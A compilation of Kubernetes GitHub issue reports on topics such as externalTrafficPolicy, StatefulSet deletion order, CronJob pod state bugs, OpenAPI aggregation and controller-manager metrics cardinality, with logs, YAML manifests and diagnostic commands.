cr1, g1, g2, hi1, hs1, m1, m2, m3, and t1. you can register instances of these types by ip address.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r   what happened  :\r when i need to get external real ip,i set up \ service.spec.externaltrafficpolicy=local\ \r \r   what you expected to happen  :\r i checked the official documents and found them:\r \r service.spec.externaltrafficpolicy - denotes if this service desires to route external traffic to node-local or cluster-wide endpoints. there are two available options: “cluster”  default  and “local”. “cluster” obscures the client source ip and may cause a second hop to another node, but should have good overall load-spreading. “local” preserves the client source ip and avoids a second hop for loadbalancer and nodeport type services, but risks potentially imbalanced traffic spreading.\r \r   anything else we need to know?  :\r i currently have a game project ready to use k8s and need to get the user's real ip, but the document says that setting externaltrafficpolicy = local will affect the risk of load balancing imbalances, and i want to know how much of the risk is there?

what would you like to be added  :\r \r it would be great to keep indentations on  -w  e.g. kubectl get pods -w \r \r   why is this needed  :\r \r this would help getting a better overview when using the watch option. \r \r <!-- do not edit below this line -->\r 

idea is to have a command that outputs, in a stably-sorted & diffable between different clusters  or the same cluster over time , a list of binaries, flags, settings, etc.  goal is to take a non-working and working cluster, diff this output, and see the relevant differences.  this is like \ diagnose me\  but without the diagnose part.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/42797/pull-kubernetes-node-e2e-non-cri/5527/\r \r https://kubernetes.slack.com/archives/c09qz4dqb/p1490737102663326\r \r    i0328 12:22:27.471   failed to install cni plugin on \ tmp-node-e2e-1bbb761e-e2e-node-containervm-v20161208-image\ : command  ssh -o userknownhostsfile=/dev/null -o identitiesonly=yes -o checkhostip=no -o stricthostkeychecking=no -o serveraliveinterval=30 -o loglevel=error -i /root/.ssh/google_compute_engine jenkins@35.188.44.10 -- sudo sh -c 'mkdir -p /tmp/node-e2e-20170328t122014/cni ; wget -o - https://storage.googleapis.com/kubernetes-release/network-plugins/cni-0799f5732f2a11b329d9e3d51b9c8f2e3759f2ff.tar.gz | tar -xz -c /tmp/node-e2e-20170328t122014/cni'  failed with error: exit status 2 output: \ --2017-03-28 19:20:18--  https://storage.googleapis.com/kubernetes-release/network-plugins/cni-0799f5732f2a11b329d9e3d51b9c8f2e3759f2ff.tar.gz\ resolving storage.googleapis.com  storage.googleapis.com ... 74.125.129.128, 2607:f8b0:4001:c0d::80\ connecting to storage.googleapis.com  storage.googleapis.com |74.125.129.128|:443... failed: connection timed out.\ connecting to storage.googleapis.com  storage.googleapis.com |2607:f8b0:4001:c0d::80|:443... failed: network is unreachable.\ \ gzip: stdin: unexpected end of file\ tar: child returned status 1\ tar: error is not recoverable: exiting now\ \ , command  scp -o userknownhostsfile=/dev/null -o identitiesonly=yes -o checkhostip=no -o stricthostkeychecking=no -o serveraliveinterval=30 -o loglevel=error -i /root/.ssh/google_compute_engine -r jenkins@35.188.44.10:/tmp/node-e2e-20170328t122014/results/ .log /workspace/_artifacts/tmp-node-e2e-1bbb761e-e2e-node-containervm-v20161208-image  failed with error: exit status 1 \r    \r \r it looks like a problem in how the node e2e suite does its testing. specifically it assumes requests to gcs never fail\r \r  2:38   \r compare https://github.com/kubernetes/kubernetes/blob/1e879c69ecf09ec73fc35ecc014ada41624bd002/test/e2e_node/remote/utils.go l43  vs a similar and more robust pattern: https://github.com/kubernetes/kubernetes/blob/1e879c69ecf09ec73fc35ecc014ada41624bd002/cluster/images/hyperkube/makefile l113\r \r /assign @dchen1107

triage history cluster: https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=v1job 63a36434077ff31ae29e\r \r note that the triage history page's filters at the top allow you to focus on specific jobs or tests\r \r 73 different tests across 115 jobs are failing in this pattern.\r \r the apps part of this issue is:\r 1   v1job should fail a job  in upgrades from 1.4 -  44602 \r \r previous things:\r 1   nfsv3 should be mountable for nfsv3  in  gke-staging  and  gke-prod  https://github.com/kubernetes/kubernetes/issues/44695\r 2   services should only allow access from service loadbalancer source ranges  in  kops-aws-slow  https://github.com/kubernetes/kubernetes/issues/44514

client/server version: v1.6.4\r \r    \r $ kubectl explain deployment.spec.template.spec.containers.readinessprobe.httpget\r \r ...\r \r    port\t<string> -required-\r      name or number of the port to access on the container. number must be in\r      the range 1 to 65535. name must be an iana_svc_name.\r    \r \r note the  <string>  tag.\r \r when i try to use this as the following in yaml:\r \r    yaml\r         readinessprobe:\r           initialdelayseconds: 2\r           httpget:\r             path: \ /\ \r             port: \ 80\ \r    \r \r and pass it to  kubectl apply , i get error:\r \r \r    \r $ kubectl apply -f deployment.yaml\r the deployment \ hello-web\  is invalid:\r   spec.template.spec.containers 0 .readinessprobe.httpget.port: invalid value: \ 80\ : must contain at least one letter or number  a-z, 0-9 \r    \r \r when i remove quotes and send to api as  port: 80   as integer , it works.\r \r it looks like the type information for this field is misleading. maybe we should have a better error message for intorstring fields.\r \r 

when merging two openapi schemas with conflicting definitions of the same object, the openapi aggregator renames one of the objects, but doesn't update the references   $ref   to that object. this leads to the merged schema being incorrect.\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r i had one aggregated api server serve a different definition of the  rawextension  object. the openapi schema returned by the api aggregator renamed the object from the aggregated server to  rawextension_v2 , but all the references still pointed to the  rawextension object.\r \r   what you expected to happen  :\r the references from the aggregated api server's schema should all point to the renamed  rawextension_v2  object.\r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy an aggregated api server and make it return a different definition of an existing core k8s object  such as  rawextension  .\r \r   anything else we need to know?  :\r pr that fixes this is at https://github.com/kubernetes/kube-openapi/pull/24\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.8556+d1e067be1f3065-dirty\ , gitcommit:\ d1e067be1f30654867769ae9dd9aaa2e30513c21\ , gittreestate:\ dirty\ , builddate:\ 2017-11-15t21:38:13z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

 \r   what happened  :\r \r probably thousands of eyes have skimmed over this for years, but kubectl's help output refers users to https://github.com/kubernetes/kubernetes for more information.  the source code isn't a great place to send users for more information.\r \r   what you expected to happen  :\r \r users should be referred to the kubectl documentation, eg:\r https://kubernetes.io/docs/reference/kubectl/overview/\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run \ kubectl\  or \ kubectl help\ .\r \r looks like it's been this way  module web site move  since roughly the beginning of time, so probably before the great docs existed.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r \r   what happened  :\r when adding a cluster to the federation  with  kubefed join   the \ server\  field  in kubeconfig  needs to be an ip-adress. if i use \ server: https://hostname:6443\ , the cluster will be offline when executing  kubectl get clusters  due to  cluster is not reachable \r \r   what you expected to happen  :\r i expect the federation to be able to work with hostnames as well - as it works with kubectl too. or at least, it should be documented somewhere that you need to use ip-addresses.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a federation cluster and trying to add a cluster that uses hostnames instead of ips.\r \r   anything else we need to know?  :\r -\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.5\r - cloud provider or hardware configuration: on-premise / openstack\r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  : 4.4.0\r

 \r   what happened  :\r in k8s v1.11.1 all statefulset pods are deleted at the same time. this is what i observe:\r    \r stack@master:~$ kubectl get pod -w\r name           ready     status    restarts   age\r echoserver-0   0/1       pending   0          0s\r echoserver-0   0/1       pending   0         0s\r echoserver-0   0/1       containercreating   0         0s\r echoserver-0   0/1       containercreating   0         0s\r echoserver-0   1/1       running   0         1s\r echoserver-1   0/1       pending   0         0s\r echoserver-1   0/1       pending   0         0s\r echoserver-1   0/1       containercreating   0         0s\r echoserver-1   0/1       containercreating   0         0s\r echoserver-1   1/1       running   0         1s\r echoserver-2   0/1       pending   0         0s\r echoserver-2   0/1       pending   0         0s\r echoserver-2   0/1       containercreating   0         0s\r echoserver-2   0/1       containercreating   0         0s\r echoserver-2   1/1       running   0         1s\r echoserver-0   1/1       terminating   0         22s\r echoserver-2   1/1       terminating   0         20s\r echoserver-1   1/1       terminating   0         21s\r echoserver-1   0/1       terminating   0         1m\r echoserver-0   0/1       terminating   0         1m\r echoserver-0   0/1       terminating   0         1m\r echoserver-0   0/1       terminating   0         1m\r echoserver-2   0/1       terminating   0         1m\r echoserver-2   0/1       terminating   0         1m\r echoserver-2   0/1       terminating   0         1m\r echoserver-2   0/1       terminating   0         1m\r echoserver-1   0/1       terminating   0         1m\r echoserver-1   0/1       terminating   0         1m\r    \r \r   what you expected to happen  :\r in k8s v1.9.3 statefulset deletion  adheres to documentation  https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/ using-statefulsets  and follows  ordered, graceful deletion and termination . in v1.9.3 when i delete the statefulset this is what i see:\r    \r stack@master:~$ kubectl get pod -w\r name           ready     status    restarts   age\r echoserver-0   1/1       running   0          22s\r echoserver-1   1/1       running   0          15s\r echoserver-2   1/1       running   0          9s\r echoserver-2   1/1       terminating   0         29s\r echoserver-2   0/1       terminating   0         30s\r echoserver-2   0/1       terminating   0         38s\r echoserver-2   0/1       terminating   0         38s\r echoserver-1   1/1       terminating   0         44s\r echoserver-1   0/1       terminating   0         45s\r echoserver-1   0/1       terminating   0         55s\r echoserver-1   0/1       terminating   0         55s\r echoserver-0   1/1       terminating   0         1m\r echoserver-0   0/1       terminating   0         1m\r echoserver-0   0/1       terminating   0         1m\r echoserver-0   0/1       terminating   0         1m\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r create, the delete the following:\r    \r apiversion: v1\r kind: service\r metadata:\r   name: echoserver\r   labels:\r     app: echoserver\r spec:\r   ports:\r   - port: 80\r     targetport: 8080\r   clusterip: none\r   selector:\r     app: echoserver\r ---\r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: echoserver\r spec:\r   servicename: echoserver\r   replicas: 3\r   selector:\r     matchlabels:\r       app: echoserver\r   template:\r     metadata:\r       labels:\r         app: echoserver\r     spec:\r       terminationgraceperiodseconds: 120\r       containers:\r       - image: alpine\r         name: alpine\r         command:\r           - sleep\r           - '70'\r         imagepullpolicy: ifnotpresent\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r two situations:\r \r 1  we have a cron job that runs every 5 minutes. looking at the container logs it shows that it successfully exited. however, the state of the pod was stuck at running. thus, the cron job never kicked off a new pod to run.\r \r 2  similar as before, but this time the container failed and the pod never changed from running to failed. thus the cron job never ran a new pod.\r \r   what you expected to happen  :\r that the state of the pod would correctly reflect the state of the container. we only run one container in these cron jobs so the pod state should directly emulate the container iiuc: https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/ example-states\r  \r   how to reproduce it  as minimally and precisely as possible   :\r tough to reproduce since this behavior is intermittent. sometimes the cron job behaves as expected.\r \r   anything else we need to know?  :\r yaml for the cron task:\r    \r apiversion: batch/v1beta1\r kind: cronjob\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ batch/v2alpha1\ ,\ kind\ :\ cronjob\ ,\ metadata\ :{\ annotations\ :{},\ labels\ :{\ app\ :\ kuffee-decommissioner\ },\ name\ :\ kuffee-decommissioner\ ,\ namespace\ :\ civis-admin\ },\ spec\ :{\ concurrencypolicy\ :\ forbid\ ,\ failedjobshistorylimit\ :3,\ jobtemplate\ :{\ spec\ :{\ template\ :{\ metadata\ :{\ annotations\ :{\ iam.amazonaws.com/role\ :\ kuffee-asg-role\ },\ labels\ :{\ app\ :\ kuffee-decommissioner\ ,\ name\ :\ kuffee-decommissioner\ }},\ spec\ :{\ containers\ : {\ args\ : \ app.py\ ,\ --entrypoint\ ,\ decommission\  ,\ command\ : \ python\  ,\ env\ : {\ name\ :\ aws_default_region\ ,\ value\ :\ us-east-1\ },{\ name\ :\ civis_api_endpoint\ ,\ value\ :\ https://api.civisanalytics.com\ },{\ name\ :\ civis_api_key\ ,\ valuefrom\ :{\ secretkeyref\ :{\ key\ :\ api-key\ ,\ name\ :\ civis-api-key\ }}},{\ name\ :\ datadog_api_key\ ,\ valuefrom\ :{\ secretkeyref\ :{\ key\ :\ api-key\ ,\ name\ :\ datadog-api-key\ }}},{\ name\ :\ version\ ,\ value\ :\ 3.1.0\ } ,\ image\ :\ 943976103640.dkr.ecr.us-east-1.amazonaws.com/kuffee:v3.1.0\ ,\ name\ :\ kuffee\ ,\ resources\ :{\ limits\ :{\ cpu\ :\ 200m\ ,\ memory\ :\ 400mi\ },\ requests\ :{\ cpu\ :\ 100m\ ,\ memory\ :\ 400mi\ }},\ volumemounts\ : {\ mountpath\ :\ /config\ ,\ name\ :\ config\ } } ,\ dnsconfig\ :{\ options\ : {\ name\ :\ ndots\ ,\ value\ :\ 2\ } },\ imagepullsecrets\ : {\ name\ :\ civis-admin-dockerhub-crobot\ } ,\ nodeselector\ :{\ nodepool\ :\ admin\ },\ restartpolicy\ :\ never\ ,\ volumes\ : {\ configmap\ :{\ name\ :\ kuffeeconfig\ },\ name\ :\ config\ } }}}},\ schedule\ :\  /5        \ ,\ successfuljobshistorylimit\ :3}}\r   creationtimestamp: 2018-07-13t16:52:41z\r   labels:\r     app: kuffee-decommissioner\r   name: kuffee-decommissioner\r   namespace: civis-admin\r   resourceversion: \ 145277377\ \r   selflink: /apis/batch/v1beta1/namespaces/civis-admin/cronjobs/kuffee-decommissioner\r   uid: 282f9ba1-86bd-11e8-a290-0e867a42d480\r spec:\r   concurrencypolicy: forbid\r   failedjobshistorylimit: 3\r   jobtemplate:\r     metadata:\r       creationtimestamp: null\r     spec:\r       template:\r         metadata:\r           annotations:\r             iam.amazonaws.com/role: kuffee-asg-role\r           creationtimestamp: null\r           labels:\r             app: kuffee-decommissioner\r             name: kuffee-decommissioner\r         spec:\r           containers:\r           - args:\r             - app.py\r             - --entrypoint\r             - decommission\r             command:\r             - python\r             env:\r             - name: aws_default_region\r               value: us-east-1\r             - name: civis_api_endpoint\r               value: https://api.civisanalytics.com\r             - name: civis_api_key\r               valuefrom:\r                 secretkeyref:\r                   key: api-key\r                   name: civis-api-key\r             - name: datadog_api_key\r               valuefrom:\r                 secretkeyref:\r                   key: api-key\r                   name: datadog-api-key\r             - name: version\r               value: 3.1.0\r             image: 943976103640.dkr.ecr.us-east-1.amazonaws.com/kuffee:v3.1.0\r             imagepullpolicy: ifnotpresent\r             name: kuffee\r             resources:\r               limits:\r                 cpu: 200m\r                 memory: 400mi\r               requests:\r                 cpu: 100m\r                 memory: 400mi\r             terminationmessagepath: /dev/termination-log\r             terminationmessagepolicy: file\r             volumemounts:\r             - mountpath: /config\r               name: config\r           dnsconfig:\r             options:\r             - name: ndots\r               value: \ 2\ \r           dnspolicy: clusterfirst\r           imagepullsecrets:\r           - name: civis-admin-dockerhub-crobot\r           nodeselector:\r             nodepool: admin\r           restartpolicy: never\r           schedulername: default-scheduler\r           securitycontext: {}\r           terminationgraceperiodseconds: 30\r           volumes:\r           - configmap:\r               defaultmode: 420\r               name: kuffeeconfig\r             name: config\r   schedule: ' /5        '\r   successfuljobshistorylimit: 3\r   suspend: false\r status:\r   lastscheduletime: 2018-10-13t17:15:00z\r    \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.2 \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : \r - kernel  e.g.  uname -a  : \r - install tools: kops 1.9.0\r - others:\r etcd 2.2.1\r cluster size can scale to upwards of 700 nodes. \r

what would you like to be added  :\r this issue is to migrate the kubelet plugin registration/watcher from beta -> ga.\r \r   why is this needed  :\r this feature  pluginsregistrationwatcher  has been a core functionality of other systems such as csi for a couple of releases now.  moving from beta to ga will signal to adopters  such as csi  that this feature is ready stable and ready for continuing adoption.\r \r   feature tracking:   https://github.com/kubernetes/enhancements/issues/595 \r \r   items needed  \r -  x  update feature gate comment to reflect ga \r     - https://github.com/kubernetes/kubernetes/blob/dc1307b82639780334af99936b2e0dbe24c9a552/pkg/features/kube_features.go l330:2\r -  x  create  v1  package in  pkg/kubelet/apis/pluginregistration \r -  x  update  imports to point to  v1 \r -  x  create pr - https://github.com/kubernetes/kubernetes/pull/70559\r -     resolve pending issue - https://github.com/kubernetes/kubernetes/issues/69015\r -     present pr to section owners  sig node  for review\r \r related  umbrella  issue - https://github.com/kubernetes/kubernetes/issues/65773\r \r <!-- do not edit below this line -->\r 

current situations:  \r \r  deltafifo.list    is making a swallow copy of each slice in  deltafifo.items  and then calling their  newest    method, which returns the last element  which is not copied as it was a swallow copy .\r \r   question:  \r \r does this method require a deep copy or can the swallow copy just be removed?\r \r 

for handling exec's with the cri, the api server snoops the exec response looking for a redirect to follow to the final exec endpoint  more details  here  https://docs.google.com/document/d/1oe_qoinplvck9rmax9aybrmgfivjhpjchi9lrfdnm_s/edit , implemented  here  https://github.com/kubernetes/kubernetes/pull/34987  .\r \r currently the returned url includes the exec command, which is an arbitrarily long user supplied value, making it impossible to reasonably snoop the response.\r \r potential solutions include:\r \r 1. using a token to represent the exec url, which the cri server caches with the actual command.\r 2. don't use a redirect, instead the api server issues to requests. the first fetches the url, the second opens the stream  basically a manual redirect, but there's no response-snooping involved \r \r this is a  blocker  for the cri streaming exec calls exiting alpha.  feature guarded with  \ streamingproxyredirect\   \r \r /cc @liggitt @yujuhong @kubernetes/sig-node

failure cluster  451144a9be5d4451ad3c  https://go.k8s.io/triage 451144a9be5d4451ad3c        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ feature:example\\ : exit status 1           failure cluster statistics: 1 tests failed,    16 jobs failed,    94 builds failed. failure stats cover 1 day time range '14 may 2017 20:07 utc' to '15 may 2017 20:07 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 16 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-examples | 25 |  15 may 2017 18:56 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-examples/5800  | | ci-kubernetes-e2e-gci-gce-examples | 22 |  15 may 2017 18:20 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-examples/5092  | | ci-kubernetes-e2e-gci-gke-reboot-release-1.5 | 7 |  15 may 2017 15:10 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-reboot-release-1.5/4603  |        previously closed issues for this cluster:  43193    current status  https://go.k8s.io/triage 451144a9be5d4451ad3c

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r the test always failed\r \r    \r e0609 06:23:50.423023    3407 standalone.go:180  get http://localhost:5050/state: dial tcp 127.0.0.1:5050: getsockopt: connection refused\r e0609 06:23:50.423293    3407 standalone.go:180  get http://localhost:5050/state: dial tcp 127.0.0.1:5050: getsockopt: connection refused\r e0609 06:23:50.436346    3407 standalone.go:180  get http://localhost:5050/state: dial tcp 127.0.0.1:5050: getsockopt: connection refused\r e0609 06:23:50.425510    3407 standalone.go:180  get http://localhost:5050/state: dial tcp 127.0.0.1:5050: getsockopt: connection refused\r e0609 06:23:50.437932    3407 standalone.go:180  get http://localhost:5050/state: dial tcp 127.0.0.1:5050: getsockopt: connection refused\r e0609 06:23:50.439931    3407 standalone.go:180  get http://localhost:5050/state: dial tcp 127.0.0.1:5050: getsockopt: connection refused\r e0609 06:23:50.446500    3407 standalone.go:180  get http://localhost:5050/state: dial tcp 127.0.0.1:5050: getsockopt: connection refused\r --- fail: test_externalid  0.85s \r \tmesos_test.go:275: externalid should not be able to resolve \ mesos3.internal.example.org.fail\ \r fail\r    \r \r and seems we can remove it from repo now as there is no  mesos  label or area now https://github.com/kubernetes/kubernetes/pull/46824\r \r i can do the cleanup if it is not needed @k82cn \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

is this a bug report or feature request?  :\r  \r   what happened  :\r i have defined readiness and liveness probes for the container in a kubernetes deployment. when these fail i expect to see their output included in an event for the pod. however i don't see such events. i do see other events for the same pod.\r \r the code that should produce the events is here: https://github.com/kubernetes/kubernetes/blob/v1.6.4/pkg/kubelet/prober/prober.go l94.\r \r what i see instead is logs indicating that a \ ref\  for the container could not be retrieved. i see similar logs for other places in the code that try to record container-related events.\r \r   what you expected to happen  :\r \r the events for the failed probe should appear in the event stream\r \r these events are potentially very useful. in particular it's the only way to see output from a failing probe so that i can diagnose probes that are failing unexpectedly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r follow  the probe example  https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-probes/ define-a-liveness-command  from the documentation on gke. inspect the event stream and node logs.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.6.4\r - cloud provider or hardware configuration  : gke\r

seeing this test failure pretty consistently with kops, to the extent that we can't merge e.g. https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/kops/3288/pull-kops-e2e-kubernetes-aws/2743/\r \r based on timing, seems likely to be  51082, although something odd happened in that this failure occurred on that pr but it still merged: https://github.com/kubernetes/kubernetes/pull/51082 issuecomment-325180686\r \r cc @kubernetes/sig-api-machinery-bugs

merging https://github.com/kubernetes/kubernetes/pull/40933 will significantly affect our debugging ability  at least in the context of performance tests, where we can't really run tests on higher verbosity, since the amount of logs there is overloading apiserver .\r \r so i think we may consider reverting it, and making verbosity for those logs a flag  i'm fine with having a default still at 3, but i would like to be able to modify that for the purpose of scalability tests .

 \r \r   what happened  :\r \r when creating and deleting a large number of uniquely named namespaces the controller-manager does a lot of get/list/delete operations on objects within those namespaces. this is fine and expected. however, the amount of metrics stored balloons because each separate url for each resource within each uniquely named namespace is stored once for each resource/namespace name combo, multiplied by the number of buckets in the histogram, multiplied by the different type of request  e.g. get/list/delete/etc .\r \r this causes the metrics to take up more and more memory, take longer and longer to get scraped by prometheus, prometheus takes more and more memory to even perform the scrape, prometheus ooms more often, and the controller-manager in question eventually ooms too.\r \r i actually oomed a controller-manager instance trying to get a set of metrics to show the cardinality.  ip-addresses are obfuscated \r \r    \r ip-x-x-x-x ~   curl localhost:10252/metrics > cm_metrics\r   % total    % received % xferd  average speed   time    time     time  current\r                                  dload  upload   total   spent    left  speed\r   0     0    0     0    0     0      0      0 --:--:--  0:00:16 --:--:--     0\r curl:  52  empty reply from server\r    \r \r when i tried on a different instance i got back this many metrics  although we've seen 5x more than this before :\r \r    \r ip-x-x-x-x ~   curl localhost:10252/metrics > cm_metrics\r   % total    % received % xferd  average speed   time    time     time  current\r                                  dload  upload   total   spent    left  speed\r 100 48.9m  100 48.9m    0     0  75.3m      0 --:--:-- --:--:-- --:--:-- 75.3m\r ip-x-x-x-x ~   wc -l cm_metrics\r 270122 cm_metrics\r    \r \r most of the metrics are just histograms of the different urls, for example:\r \r    \r rest_client_request_latency_seconds_bucket{url=\ https://localhost:443/apis/rbac.authorization.k8s.io/v1/namespaces/fc57b140-8e9b-4c50-82ba-d3f12b0c54bb/rolebindings\ ,verb=\ delete\ ,le=\ 0.001\ } 0\r rest_client_request_latency_seconds_bucket{url=\ https://localhost:443/apis/rbac.authorization.k8s.io/v1/namespaces/fc57b140-8e9b-4c50-82ba-d3f12b0c54bb/rolebindings\ ,verb=\ delete\ ,le=\ 0.002\ } 0\r rest_client_request_latency_seconds_bucket{url=\ https://localhost:443/apis/rbac.authorization.k8s.io/v1/namespaces/fc57b140-8e9b-4c50-82ba-d3f12b0c54bb/rolebindings\ ,verb=\ delete\ ,le=\ 0.004\ } 0\r rest_client_request_latency_seconds_bucket{url=\ https://localhost:443/apis/rbac.authorization.k8s.io/v1/namespaces/fc57b140-8e9b-4c50-82ba-d3f12b0c54bb/rolebindings\ ,verb=\ delete\ ,le=\ 0.008\ } 0\r rest_client_request_latency_seconds_bucket{url=\ https://localhost:443/apis/rbac.authorization.k8s.io/v1/namespaces/fc57b140-8e9b-4c50-82ba-d3f12b0c54bb/rolebindings\ ,verb=\ delete\ ,le=\ 0.016\ } 1\r rest_client_request_latency_seconds_bucket{url=\ https://localhost:443/apis/rbac.authorization.k8s.io/v1/namespaces/fc57b140-8e9b-4c50-82ba-d3f12b0c54bb/rolebindings\ ,verb=\ delete\ ,le=\ 0.032\ } 1\r rest_client_request_latency_seconds_bucket{url=\ https://localhost:443/apis/rbac.authorization.k8s.io/v1/namespaces/fc57b140-8e9b-4c50-82ba-d3f12b0c54bb/rolebindings\ ,verb=\ delete\ ,le=\ 0.064\ } 1\r rest_client_request_latency_seconds_bucket{url=\ https://localhost:443/apis/rbac.authorization.k8s.io/v1/namespaces/fc57b140-8e9b-4c50-82ba-d3f12b0c54bb/rolebindings\ ,verb=\ delete\ ,le=\ 0.128\ } 1\r rest_client_request_latency_seconds_bucket{url=\ https://localhost:443/apis/rbac.authorization.k8s.io/v1/namespaces/fc57b140-8e9b-4c50-82ba-d3f12b0c54bb/rolebindings\ ,verb=\ delete\ ,le=\ 0.256\ } 1\r rest_client_request_latency_seconds_bucket{url=\ https://localhost:443/apis/rbac.authorization.k8s.io/v1/namespaces/fc57b140-8e9b-4c50-82ba-d3f12b0c54bb/rolebindings\ ,verb=\ delete\ ,le=\ 0.512\ } 1\r rest_client_request_latency_seconds_bucket{url=\ https://localhost:443/apis/rbac.authorization.k8s.io/v1/namespaces/fc57b140-8e9b-4c50-82ba-d3f12b0c54bb/rolebindings\ ,verb=\ delete\ ,le=\ +inf\ } 1\r rest_client_request_latency_seconds_sum{url=\ https://localhost:443/apis/rbac.authorization.k8s.io/v1/namespaces/fc57b140-8e9b-4c50-82ba-d3f12b0c54bb/rolebindings\ ,verb=\ delete\ } 0.00884545\r rest_client_request_latency_seconds_count{url=\ https://localhost:443/apis/rbac.authorization.k8s.io/v1/namespaces/fc57b140-8e9b-4c50-82ba-d3f12b0c54bb/rolebindings\ ,verb=\ delete\ } 1\r    \r \r   what you expected to happen  :\r \r that the controller-manager does not oom just by performing it's job garbage collecting things within a deleted namespace while also being scraped for metrics.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create and delete thousands of namespaces with unique names while also scraping the  /metrics  endpoint of the controller-manager at a regular  30s  interval. the controller-manager will oom at some point, and if using prometheus to do the scraping prometheus will also oom.\r \r \r   anything else we need to know?  :\r \r this kind of cardinality explosion is because the labels are unbounded. in our case we don't even look at the particular metrics which are exploding in cardinality, we just scrape controller-manager for other things like memory usage. we have had to stop scraping at all to reduce the symptoms of this problem.\r \r it would be nice if we could turn off the registration of the  